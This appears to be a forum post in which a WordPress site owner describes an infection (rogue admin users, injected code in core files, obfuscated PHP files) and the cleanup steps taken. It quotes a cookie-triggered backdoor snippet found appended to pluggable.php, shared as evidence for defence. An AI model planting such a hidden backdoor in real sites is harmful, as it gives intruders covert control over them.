My site too got infected.
Things i noticed,
- 3 admin users which i never created, one with wp_update-xxxxxx others named as wpxxxxxxxxx
- .index.php has malicious code and many folders has some unwanted index.php created with the same code.
- wp-config.php has malicious code at the beginning
- most file has this code to include a css file in /[SERVER-PATH]/public_html/wp-includes/blocks/comments-title/.[XXXXX.css] having php code.
- some new files created with encrypted/not readable codes, named as style.php, profile.php, themes.php etc…
- Some files and folder with file with randomly generated names are created with encrypted codes,
- wp-includes/pluggable.php has code like this at the end, not sure if this is by that malware or some other plugin.
if (isset($_COOKIE[“_JdXGxQ1hFqMjLZVi9BgfcH6PU84YmezEw7ka5yO02TpNlvtb3usWCAnr”]))
{
$lines = get_option( ‘wpsdt4_license_key’ );
if (!empty($lines))
{
$lines = @file_get_contents(“6cd7c012”);
}
echo $lines;
exit();
}
How i tried to fix…
Mostly i used some text patterns to search for files using the “strlocator” plugin, to remove these files and codes in server. Deleted admin users, changed ftp pass, db pass, wp admin pass, unwanted plugins.
